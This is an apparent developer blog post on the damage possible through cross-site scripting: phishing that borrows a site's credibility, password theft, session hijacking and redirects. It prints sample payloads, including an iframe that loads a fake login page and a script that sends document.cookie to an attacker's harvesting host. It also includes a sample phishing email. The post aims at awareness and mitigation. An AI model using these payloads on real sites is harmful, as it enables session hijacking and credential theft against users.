Once a malicious user has discovered an XSS vulnerability in your web application, the sky is really the limit. The potential damage also goes beyond the scope of just your site and your users.
Here are a few examples of nefariousness that could be perpetrated via XSS in a website. A hacker could:
- use the credibility of your site to run a phishing scheme
- steal your users' passwords
- hijack your users' sessions
- try to launch an attack against the site administrator (you)
- redirect your users to another site (gambling, porn, Google, affiliate link, whatever)
- display inappropriate or mis-informative messages to your users
- Or anything else that could be done with client-side executable code
How would they do those things? It's actually quite simple.
Borrowing your credibility for phishingThis one is sometimes hard to explain. So I will do my best.
Most of us have been taught some different methods of detecting a phishing scheme. For example, when we get an e-mail from some big name company (EBay, PayPal, Facebook, Amazon, etc) we are taught to mouse over the URL and make sure that if we click on a link that it is not really going to "http://22.214.171.124/ebay.com/login.php" or to "ebay.com.tempsite.cn/login.do", right? We know that much.
What if the big name site is our site? Let's call it bignamesite.com. And bignamesite.com has an XSS vulnerability in login.cfm. Well, when our users receive that phishing email and, like they are taught, mouse over those links, they might see "http://www.bignamesite.com/login.cfm?campaign=4343JKJKj&UIF=jJHHF987787...".
Well that certainly looks legit enough. It's not pointing to an IP address. And it's not pointing to some cleverly named sub-domain in China. So it's a legit link, right? Let's examine the WHOLE URL.
The hacker has now used the credibility of your our bignamesite.com domain to launch an attack against our users. And it does not always need to be an attack against existing users. For example, if bignamesite.com was a site that could offer referrals to other sites, then they could send e-mails to as many people as possible hoping to steal credit card or identity theft information. For example, let's say that our site was something like a State or Federal Department. Something that is highly credible (as much as you may argue otherwise). And let's say that hundreds of thousands of users all over the country started receiving e-mails like this:
We at the Fictional Department of Transportation have recently added a new service where you can run a report on your own driving record. Simply click on this link and answer some security questions for verification and you will be able to view your driving record in real-time.
This is a great way for you to keep track of your personal information and to clear up any mistakes that may exist on your driving record.
We hope you get great use out of this service.
Bureau of Records Fictional Department of Transportation
Of course, if you mouseover this link, you are going to get a legitimate looking link to a legit (if it were real) website. And if you mouse over it, you'll even see that the script tag gets chopped off the end because the URL string is so long. But it's there. Here is the whole URL.
If this e-mail went out to hundreds of thousands of people in the US, how many do you think would click on it? Remember that a good phisher will go to the trouble of making the e-mail look "official". It would have the Department logo in it and would be nicely formatted. And the phishing site they were directed to would look just like the Department's official website. And it would have a simple form on it asking for Name, Address, Social Security Number and Driver's license number. It could even be secured with SSL, in case the users are smart enough to check that.
A LOT of people would click on that link. They would also fill out the form. And then they would probably get a message like:
We're sorry, due to the popularity of this new service, our servers are overloaded. Please try your request again later.
But by then, it is too late anyway. The user's information was sent when they clicked submit. It doesn't matter if they ever come back. And by the time enough people have reported the bogus site for what it is, the information of THOUSANDS of people will have been compromised. (I really don't have anything to back up my numbers, I just think there are a lot of gullible people out there).
Stealing User PasswordsStealing passwords could be done in several ways. All of which can be easily done with XSS.
The first way I will mention would be by using the scheme from the above section. Simply redirecting the user to a site that looks like your site and using a form that looks like your login form, accept their username and password. Technically, they could even use those credentials to actually log them into your site and then redirect them back to your site. 99.99% of users would never notice the difference (more speculative numbers).
A similar method could use an <iframe> to display the login form. This way, the user would never actually leave your site from their perspective.
http://www.bignamesite.com/login.cfm?errorMessage=<iframe src="http://www.phishingsite.com/login.php" height="1280" width="1024" border="false"></frame>
Stealing Users' session tokensStealing user session data with XSS is one of the first things that hackers learn at the HogsAss School of Hacking and Douchebaggery. It's really easy.
If your site is vulnerable, and a user is logged into it, and the user can be tricked into clicking on a link like this, their session tokens can be stolen and their session hijacked.
"http://fictionaldot.gov/records/someexploitablepage.cfm?rec=6dhshjfjflds&uid=JLHKLLEIUUTUHHWJJW-HJHKH-GHGJGKHKH-HKH787868&errorMessage=<script>window.location='http://126.96.36.199/sessionharvest.php?cookie=' + document.cookie</script>&HGH=dH8787JHJH
<script>window.location='http://188.8.131.52/sessionharvest.php?cookie=' + document.cookie</script>
Attacks against the site administratorAnything an attacker can try against your users, he can try against you. The site admin is just another site user. Your session can be hijacked, your credentials can be stolen, you can be redirected to a phony site. You may think that you can spot a phony. I bet there are some you'd have a hard time with.
Redirection and MisinformationThese are both relatively simple hacks. We've already seen how redirection can be done for the purposes of session hijacking. But some hackers would love nothing more than to simply redirect all of your users to porn sites using their affiliate links. If your site is vulnerable to XSS, then that is quite easy. Additionally, if the victim site is vulnerable to cross-site scripting AND SQL injection, then the hacker could inject an XSS payload into the database and have it served, automatically, to ALL of your site visitors. If injected in the right place(s) it could affect every page on your site. So imagine every page and every visitor, redirected.
Misinformation delivery can be used in combination with social networking to trick your users into doing things they otherwise would not.
For example, have you ever seen a link like this:
We've all done it. You want to pass information from one request to another, so you do it in the URL string. It seems harmless enough, but when that information (like an error message) is displayed to an end user, it can be dangerous. As we've already discussed ad nauseam, this could be injected with redirect scripts, phishing iframes, and more. But it could also be used to feed misinformation to your end users.
ConclusionI hope that I have shown you something of interest. I think a lot of people think that XSS is mostly about redirects and making alert('XSS') show up on your screen. But it can be a very destructive attack, especially if it can be targeted at known users, or paired with SQL Injection.
I've told you what's possible, next I will tell you what you can do about it. In my next post, we will look at how we can mitigate XSS attacks using ColdFusion and the Java ESAPI project. I'll tell you right now, there is more to XSS mitigation than HTMLEditFormat() and XMLFormat(). If you think that either of those two functions are all you need to stop XSS, then be sure to read my next post. You'll be in for a surprise.